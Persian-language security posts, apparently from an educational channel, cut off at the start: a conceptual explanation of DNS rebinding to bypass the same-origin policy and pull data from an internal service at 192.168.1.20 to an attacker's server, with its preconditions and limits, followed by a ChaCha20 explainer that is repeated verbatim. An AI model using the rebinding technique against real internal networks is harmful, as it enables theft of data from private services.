به 192.168.1.20 ارسال میکنه که حاوی اطلاعات حیاتی این سرویس هست و هکر میتونه این اطلاعات رو با XHR برای سرور خودش ارسال کنه. اگه DNS rebinding با موفقیت انجام بشه دیگه cross origin نیستیم و same origin هستیم.❗️چند تا نکته مهم :
1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.
⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)
#DNS_Rebinding
ChaCha20 or Salsa20
یک الگوریتم رمزنگاریه که برای امنیت بالا و سرعت زیاد طراحی شده باهاش میشه دادهها رو رمزگذاری کرد تا کسی بدون کلید نتونه بخونه این الگوریتم جایگزین خوبی برای AES هست مخصوصاً توی موبایلها و پردازندههایی که سختافزار مخصوص رمزنگاری ندارن
چطوری کار میکنه؟
ChaCha20 یه جور رمزنگاری جریانیه، یعنی دادهها رو دونهدونه رمز میکنه نه بهصورت بلوکهای بزرگ
ورودیهاش چیه؟
یه کلید 256 بیتی همون رمز اصلی
یه مقدار تصادفی Nonce برای جلوگیری از تکراری شدن رمزها
یه شمارنده که توی هر بلاک تغییر میکنه
چی کار میکنه؟
چند تا عملیات ریاضی ساده مثل جمع XOR و چرخش بیتی روی دادهها انجام میده
این عملیات 20 بار تکرار میشه تا یه سری اعداد تصادفی قوی تولید کنه
این اعداد با متن اصلی ترکیب میشن و دادهی رمزگذاریشده تولید میشه
چرا از ChaCha20 استفاده کنیم؟
سریعتره چون نیاز به محاسبات پیچیدهی AES نداره
امنیت بالایی داره و در برابر حملات رمزنگاری مقاومه
روی موبایل و دستگاههای کمقدرت بهتر کار میکنه، چون نیاز به سختافزار خاصی نداره
در برابر حملات جانبی مثل حملات کش CPU امن تره
کجاها ازش استفاده میشه؟
توی HTTPS امن کردن اینترنت
توی WireGuard VPN برای اتصال امن
توی OpenSSH برای ارتباطات رمزگذاریشده
توی Google QUIC که اینترنت رو سریعتر و امنتر میکنه
یک الگوریتم رمزنگاریه که برای امنیت بالا و سرعت زیاد طراحی شده باهاش میشه دادهها رو رمزگذاری کرد تا کسی بدون کلید نتونه بخونه این الگوریتم جایگزین خوبی برای AES هست مخصوصاً توی موبایلها و پردازندههایی که سختافزار مخصوص رمزنگاری ندارن
چطوری کار میکنه؟
ChaCha20 یه جور رمزنگاری جریانیه، یعنی دادهها رو دونهدونه رمز میکنه نه بهصورت بلوکهای بزرگ
ورودیهاش چیه؟
یه کلید 256 بیتی همون رمز اصلی
یه مقدار تصادفی Nonce برای جلوگیری از تکراری شدن رمزها
یه شمارنده که توی هر بلاک تغییر میکنه
چی کار میکنه؟
چند تا عملیات ریاضی ساده مثل جمع XOR و چرخش بیتی روی دادهها انجام میده
این عملیات 20 بار تکرار میشه تا یه سری اعداد تصادفی قوی تولید کنه
این اعداد با متن اصلی ترکیب میشن و دادهی رمزگذاریشده تولید میشه
چرا از ChaCha20 استفاده کنیم؟
سریعتره چون نیاز به محاسبات پیچیدهی AES نداره
امنیت بالایی داره و در برابر حملات رمزنگاری مقاومه
روی موبایل و دستگاههای کمقدرت بهتر کار میکنه، چون نیاز به سختافزار خاصی نداره
در برابر حملات جانبی مثل حملات کش CPU امن تره
کجاها ازش استفاده میشه؟
توی HTTPS امن کردن اینترنت
توی WireGuard VPN برای اتصال امن
توی OpenSSH برای ارتباطات رمزگذاریشده
توی Google QUIC که اینترنت رو سریعتر و امنتر میکنه
❤1